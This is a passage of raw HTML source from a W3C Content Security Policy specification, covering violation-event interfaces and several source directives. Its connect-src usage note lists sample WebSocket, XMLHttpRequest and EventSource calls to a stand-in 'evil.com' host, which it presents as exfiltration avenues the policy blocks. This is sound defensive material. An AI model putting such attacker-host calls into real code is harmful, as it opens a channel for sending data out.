title=columnNumber>columnNumber</a>;\n};\n</pre>\n    <dl data-dfn-for=SecurityPolicyViolationEvent>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-documenturi>documentURI<a class=self-link href=#dom-securitypolicyviolationevent-documenturi></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-document-uri><code>document-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-referrer>referrer<a class=self-link href=#dom-securitypolicyviolationevent-referrer></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-referrer><code>referrer</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-blockeduri>blockedURI<a class=self-link href=#dom-securitypolicyviolationevent-blockeduri></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-blocked-uri><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-violateddirective>violatedDirective<a class=self-link href=#dom-securitypolicyviolationevent-violateddirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-violated-directive><code>violated-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-effectivedirective>effectiveDirective<a class=self-link href=#dom-securitypolicyviolationevent-effectivedirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-effective-directive><code>effective-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-originalpolicy>originalPolicy<a class=self-link href=#dom-securitypolicyviolationevent-originalpolicy></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-original-policy><code>original-policy</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-statuscode>statusCode<a class=self-link href=#dom-securitypolicyviolationevent-statuscode></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-status-code><code>status-code</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-sourcefile>sourceFile<a class=self-link href=#dom-securitypolicyviolationevent-sourcefile></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-source-file><code>source-file</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-linenumber>lineNumber<a class=self-link href=#dom-securitypolicyviolationevent-linenumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-line-number><code>line-number</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationevent-columnnumber>columnNumber<a class=self-link href=#dom-securitypolicyviolationevent-columnnumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-column-number><code>column-number</code></a> property of violation reports for a description of this property.</dd>\n    </dl>\n  </section>\n  <section>\n    <h3 class=\"heading settled\" data-level=6.2 id=securitypolicyviolationeventinit-interface><span class=secno>6.2 </span><span class=content>\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span><a class=self-link href=#securitypolicyviolationeventinit-interface></a></h3>\n\n    <pre class=idl>dictionary <dfn class=idl-code data-dfn-type=dictionary data-export=\"\" data-global-name=\"\" id=dictdef-securitypolicyviolationeventinit>SecurityPolicyViolationEventInit<a class=self-link href=#dictdef-securitypolicyviolationeventinit></a></dfn> : <a data-link-type=idl href=http://dom.spec.whatwg.org/#eventinit title=EventInit>EventInit</a> {\n    DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/documenturi<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"DOMString \" href=#dom-securitypolicyviolationeventinit-documenturi title=documentURI>documentURI</a>;\n    DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/referrer<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"DOMString \" href=#dom-securitypolicyviolationeventinit-referrer title=referrer>referrer</a>;\n    DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/blockeduri<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"DOMString \" href=#dom-securitypolicyviolationeventinit-blockeduri title=blockedURI>blockedURI</a>;\n    DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/violateddirective<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"DOMString \" href=#dom-securitypolicyviolationeventinit-violateddirective title=violatedDirective>violatedDirective</a>;\n    DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/effectivedirective<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"DOMString \" href=#dom-securitypolicyviolationeventinit-effectivedirective title=effectiveDirective>effectiveDirective</a>;\n    DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/originalpolicy<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"DOMString \" href=#dom-securitypolicyviolationeventinit-originalpolicy title=originalPolicy>originalPolicy</a>;\n    DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/sourcefile<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"DOMString \" href=#dom-securitypolicyviolationeventinit-sourcefile title=sourceFile>sourceFile</a>;\n    long      <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/linenumber<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"long      \" href=#dom-securitypolicyviolationeventinit-linenumber title=lineNumber>lineNumber</a>;\n    long      <a class=idl-code data-global-name=\"SecurityPolicyViolationEventInit<interface>/columnnumber<attribute>\" data-link-for=SecurityPolicyViolationEventInit data-link-type=attribute data-type=\"long      \" href=#dom-securitypolicyviolationeventinit-columnnumber title=columnNumber>columnNumber</a>;\n};\n</pre>\n    <dl data-dfn-for=SecurityPolicyViolationEventInit>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-documenturi>documentURI<a class=self-link href=#dom-securitypolicyviolationeventinit-documenturi></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-document-uri><code>document-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-referrer>referrer<a class=self-link href=#dom-securitypolicyviolationeventinit-referrer></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-referrer><code>referrer</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-blockeduri>blockedURI<a class=self-link href=#dom-securitypolicyviolationeventinit-blockeduri></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-blocked-uri><code>blocked-uri</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-violateddirective>violatedDirective<a class=self-link href=#dom-securitypolicyviolationeventinit-violateddirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-violated-directive><code>violated-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-effectivedirective>effectiveDirective<a class=self-link href=#dom-securitypolicyviolationeventinit-effectivedirective></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-effective-directive><code>effective-directive</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-originalpolicy>originalPolicy<a class=self-link href=#dom-securitypolicyviolationeventinit-originalpolicy></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-original-policy><code>original-policy</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-sourcefile>sourceFile<a class=self-link href=#dom-securitypolicyviolationeventinit-sourcefile></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-source-file><code>source-file</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-linenumber>lineNumber<a class=self-link href=#dom-securitypolicyviolationeventinit-linenumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-line-number><code>line-number</code></a> property of violation reports for a description of this property.</dd>\n      <dt><dfn class=idl-code data-dfn-for=SecurityPolicyViolationEventInit data-dfn-type=attribute data-export=\"\" id=dom-securitypolicyviolationeventinit-columnnumber>columnNumber<a class=self-link href=#dom-securitypolicyviolationeventinit-columnnumber></a></dfn></dt>\n      <dd>Refer to the <a href=#violation-report-column-number><code>column-number</code></a> property of violation reports for a description of this property.</dd>\n    </dl>\n  </section>\n  <section>\n    <h3 class=\"heading settled\" data-level=6.3 id=firing-securitypolicyviolationevent-events><span class=secno>6.3 </span><span class=content>Firing Violation Events</span><a class=self-link href=#firing-securitypolicyviolationevent-events></a></h3>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=fire-a-violation-event>fire a violation event<a class=self-link href=#fire-a-violation-event></a></dfn>, the user agent MUST use an algorithm\n    equivalent to the following:</p>\n\n    <ol>\n      <li>Let <var>report object</var> be the result of <a data-link-type=dfn href=#generate-a-violation-report-object title=\"generating a violation report object\">generating a\n      violation report object</a>.</li>\n\n      <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#queue-a-task title=\"Queue a task\">Queue a task</a> to\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#concept-event-fire title=firing>fire an event</a> named\n      <code>securitypolicyviolation</code> using the\n      <code><a class=idl-code data-link-type=interface href=#dom-securitypolicyviolationevent title=SecurityPolicyViolationEvent>SecurityPolicyViolationEvent</a></code> interface\n      with the following initializations:\n\n        <ul>\n          <li><code>blockedURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>blocked-uri</code> key.</li>\n\n          <li><code>documentURI</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>document-uri</code> key.</li>\n\n          <li><code>effectiveDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>effective-directive</code> key.</li>\n\n          <li><code>originalPolicy</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>original-policy</code> key.</li>\n\n          <li><code>referrer</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>referrer</code> key.</li>\n\n          <li><code>violatedDirective</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>violated-directive</code> key.</li>\n\n          <li><code>sourceFile</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>source-file</code> key.</li>\n\n          <li><code>lineNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>line-number</code> key.</li>\n\n          <li><code>columnNumber</code> MUST be initialized to the value of\n          <var>report object</var>’s <code>column-number</code> key.</li>\n        </ul>\n      </li>\n    </ol>\n\n<p>The <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#task-source title=\"task source\">task source</a> for these <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#concept-task title=tasks>tasks</a>\n    is the <a data-link-type=dfn href=#content-security-policy-task-source title=\"Content Security Policy task source\">Content Security Policy task source</a>.</p>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled\" data-level=7 id=sec-directives><span class=secno>7 </span><span class=content>Directives</span><a class=self-link href=#sec-directives></a></h2>\n\n<p>This section describes the content security policy directives\n  introduced in this specification. Directive names are case insensitive.</p>\n\n<p>In order to protect against Cross-Site Scripting (XSS), web\n  application authors SHOULD include:</p>\n\n  <ul>\n    <li>both the <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> and\n    <code><a data-link-type=dfn href=#object-src title=object-src>object-src</a></code> directives, or</li>\n\n    <li>include a <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive, which covers both\n    scripts and plugins.</li>\n  </ul>\n\n<p>In either case, authors SHOULD NOT include either\n  <code>'unsafe-inline'</code> or <code>data:</code> as valid sources in\n  their policies. Both enable XSS attacks by allowing code to be included\n  directly in the document itself; they are best avoided completely.</p>\n\n<p>Redirects are another area of potential concern. Authors SHOULD NOT include\n  <code>'unsafe-redirect'</code> as valid sources in their policies. It makes\n  it more difficult to reason about the complete set of resources that a policy\n  allows, especially given the path behavior outlined in the\n  <a data-section=\"\" href=#source-list-paths-and-redirects>§4.2.2.3 Paths and Redirects</a> section.</p>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.1 id=directive-base-uri><span class=secno>7.1 </span><span class=content><code>base-uri</code></span><a class=self-link href=#directive-base-uri></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=base-uri>base-uri<a class=self-link href=#base-uri></a></dfn></code> directive restricts the URIs that can\n    be used to specify the <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#document-base-url title=\"document base URL\">document base URL</a>. The syntax for\n    the name and value of the directive are described by the following ABNF\n    grammar:</p>\n\n    <pre>directive-name    = \"base-uri\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-base-uris>allowed base URIs<a class=self-link href=#allowed-base-uris></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>base-uri</code> directive’s\n    value as a source list</a>.</p>\n\n<p>Step 4 of the algorithm defined in HTML5 to obtain a\n    <em>document’s base URL</em> MUST be changed to:</p>\n\n    <ol start=4>\n      <li>If the previous step was not successful, or the result of the\n      previous step does not <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a>\n      the <a data-link-type=dfn href=#allowed-base-uris title=\"allowed base URIs\">allowed base URIs</a>, then the <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#document-base-url title=\"document base URL\">document base URL</a>\n      is <var>fallback base URL</var>. Otherwise, it is the result of the\n      previous step.</li>\n    </ol>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.2 id=directive-child-src><span class=secno>7.2 </span><span class=content><code>child-src</code></span><a class=self-link href=#directive-child-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=child-src>child-src<a class=self-link href=#child-src></a></dfn></code> directive governs the creation of\n    <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing contexts\">nested browsing contexts</a> as well as Worker execution\n    contexts. The syntax for the name and value of the directive are described\n    by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"child-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-child-sources>allowed child sources<a class=self-link href=#allowed-child-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>child-src</code>\n    directive’s value as a source list</a> if a <code>child-src</code>\n    directive is explicitly specified, and otherwise to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=7.2.1 id=directive-child-src-nested><span class=secno>7.2.1 </span><span class=content>Nested Browsing Contexts</span><a class=self-link href=#directive-child-src-nested></a></h4>\n\n<p>To enforce the <code>child-src</code> directive the user agent MUST\n      enforce the <code><a data-link-type=dfn href=#frame-src title=frame-src>frame-src</a></code> directive.</p>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=7.2.2 id=directive-child-src-workers><span class=secno>7.2.2 </span><span class=content>Workers</span><a class=self-link href=#directive-child-src-workers></a></h4>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URL while processing the\n      <code>Worker</code> or <code>SharedWorker</code> constructors\n      <a data-biblio-type=normative data-link-type=biblio href=#biblio-workers title=biblio-WORKERS>[WORKERS]</a>, the user agent MUST act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>\n      if the URI does not <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the\n      <a data-link-type=dfn href=#allowed-child-sources title=\"allowed child sources\">allowed child sources</a>.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.3 id=directive-connect-src><span class=secno>7.3 </span><span class=content><code>connect-src</code></span><a class=self-link href=#directive-connect-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=connect-src>connect-src<a class=self-link href=#connect-src></a></dfn></code> directive restricts which URIs the\n    protected resource can load using script interfaces. The syntax for the name\n    and value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"connect-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-connection-targets>allowed connection targets<a class=self-link href=#allowed-connection-targets></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>connect-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>connect-src</code> directive, or otherwise to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-connection-targets title=\"allowed connection targets\">allowed connection\n    targets</a>, the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      \n      <li>Processing the <a href=http://www.w3.org/TR/XMLHttpRequest/#the-send()-method><code>send()</code>\n      method</a> of an <code>XMLHttpRequest</code> object.</li>\n\n      <li>Processing the <a href=http://dev.w3.org/html5/websockets/#websocket><code>WebSocket</code>\n      constructor</a>.</li>\n\n      <li>Processing the <a href=http://dev.w3.org/html5/eventsource/#eventsource><code>EventSource</code>\n      constructor</a>.</li>\n\n      <li>Sending a beacon via the <a href=https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/Beacon/Overview.html#sec-sendBeacon-method><code>sendBeacon()</code></a> method <a data-biblio-type=normative data-link-type=biblio href=#biblio-beacon title=biblio-BEACON>[BEACON]</a></li>\n    </ul>\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.3.1 id=connect-src-usage><span class=secno>7.3.1 </span><span class=content>Usage</span><a class=self-link href=#connect-src-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>JavaScript offers a few mechanisms that directly connect to an\n      external server to send or receive information. <code>EventSource</code>\n      maintains an open HTTP connection to a server in order to receive push\n      notifications, <code>WebSockets</code> open a bidirectional communication\n      channel between your browser and a server, and <code>XMLHttpRequest</code>\n      makes arbitrary HTTP requests on your behalf. These are powerful APIs that\n      enable useful functionality, but also provide tempting avenues for data\n      exfiltration.</p>\n\n<p>The <code>connect-src</code> directive allows you to ensure that\n      these sorts of connections are only opened to origins you trust.\n      Sending a policy that defines a list of source expressions for this\n      directive is straightforward. For example, to limit connections to\n      only <code>example.com</code>, send the following header:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a> example.com</pre>\n\n<p>All of the following will fail with the preceding directive in\n      place:</p>\n\n      <ul>\n        <li><code>new WebSocket(\"wss://evil.com/\");</code></li>\n        <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code></li>\n        <li><code>new EventSource(\"https://evil.com\");</code></li>\n      </ul>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.4 id=directive-default-src><span class=secno>7.4 </span><span class=content><code>default-src</code></span><a class=self-link href=#directive-default-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=default-src>default-src<a class=self-link href=#default-src></a></dfn></code> directive sets a default\n    source list for a number of directives. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"default-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>Let the <dfn data-dfn-type=dfn data-noexport=\"\" id=default-sources>default sources<a class=self-link href=#default-sources></a></dfn> be the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>default-src</code>\n    directive’s value as a source list</a> if a <code>default-src</code>\n    directive is explicitly specified, and otherwise the U+002A ASTERISK\n    character (*).</p>\n\n<p>To enforce the <code>default-src</code> directive, the user agent\n    MUST enforce the following directives:</p>\n\n    <ul>\n      <li><code><a data-link-type=dfn href=#child-src title=child-src>child-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#connect-src title=connect-src>connect-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#font-src title=font-src>font-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#img-src title=img-src>img-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#media-src title=media-src>media-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#object-src title=object-src>object-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code></li>\n      <li><code><a data-link-type=dfn href=#style-src title=style-src>style-src</a></code></li>\n    </ul>\n\n<p>If not specified explicitly in the policy, the directives listed\n    above will use the <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a> as their source list.</p>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=7.4.1 id=default-src-usage><span class=secno>7.4.1 </span><span class=content>Usage</span><a class=self-link href=#default-src-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p><code>default-src</code>, as the name implies, serves as a default\n      source list which the other source list-style directives will use as\n      a fallback if they’re not otherwise explicitly set. That is, consider\n      the following policy declaration:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'</pre>\n\n<p>Under this policy, fonts, frames, images, media, objects, scripts,\n      and styles will all only load from the same origin as the protected\n      resource, and connections will only be made to the same origin. Adding\n      a more specific declaration to the policy would completely override\n      the default source list for that resource type.</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'self'; <a data-link-type=dfn href=#script-src title=script-src>script-src</a> example.com</pre>\n\n<p>Under this new policy, fonts, frames, and etc. continue to be load\n      from the same origin, but scripts will <em>only</em> load from\n      <code>example.com</code>. There’s no inheritance; the\n      <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive sets the allowed sources of\n      script, and the default list is not used for that resource type.</p>\n\n<p>Given this behavior, one good way of building a policy for a site\n      would be to begin with a <code>default-src</code> of\n      <code>'none'</code>, and to build up a policy from there that contains\n      only those resource types which are actually in use for the page you’d\n      like to protect. If you don’t use webfonts, for instance, there’s no\n      reason to specify a source list for <code><a data-link-type=dfn href=#font-src title=font-src>font-src</a></code>;\n      specifying only those resource types a page uses ensures that the\n      possible attack surface for that page remains as small as possible.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.5 id=directive-font-src><span class=secno>7.5 </span><span class=content><code>font-src</code></span><a class=self-link href=#directive-font-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=font-src>font-src<a class=self-link href=#font-src></a></dfn></code> directive restricts from where the\n    protected resource can load fonts. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"font-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-font-sources>allowed font sources<a class=self-link href=#allowed-font-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>font-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>font-src</code>, or otherwise to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-font-sources title=\"allowed font sources\">allowed font sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for display in a font, such as when processing\n      the <a class=\"production css\" data-link-type=at-rule href=http://www.w3.org/TR/css-fonts-3/#at-font-face-rule title=@font-face>&lt;@font-face&gt;</a> Cascading Style Sheets (CSS) rule.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.6 id=directive-form-action><span class=secno>7.6 </span><span class=content><code>form-action</code></span><a class=self-link href=#directive-form-action></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=form-action>form-action<a class=self-link href=#form-action></a></dfn></code> restricts which URIs can be used as\n    the action of HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/forms.html#the-form-element title=form>form</a></code> elements. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"form-action\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-form-actions>allowed form actions<a class=self-link href=#allowed-form-actions></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>form-action</code>\n    directive’s value as a source list</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-form-actions title=\"allowed form actions\">allowed form actions</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Processing an HTML <code><a data-link-type=element href=http://www.w3.org/TR/html5/forms.html#the-form-element title=form>form</a></code> element.</li>\n      <li>Pinging an endpoint during <a href=http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#hyperlink-auditing>hyperlink auditing</a></li>\n    </ul>\n\n<p class=note>Note: <code>form-action</code> does not fall back to the <a data-link-type=dfn href=#default-sources title=\"default sources\">default\n    sources</a> when the directive is not defined. That is, a policy that\n    defines <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'none'</code> but not\n    <code>form-action</code> will still allow form submissions to any\n    target.</p>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.7 id=directive-frame-ancestors><span class=secno>7.7 </span><span class=content><code>frame-ancestors</code></span><a class=self-link href=#directive-frame-ancestors></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=frame-ancestors>frame-ancestors<a class=self-link href=#frame-ancestors></a></dfn></code> directive indicates whether the\n    user agent should allow embedding the resource using a\n    <code><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/obsolete.html#frame title=frame>frame</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code>,\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> or\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code> tag, or 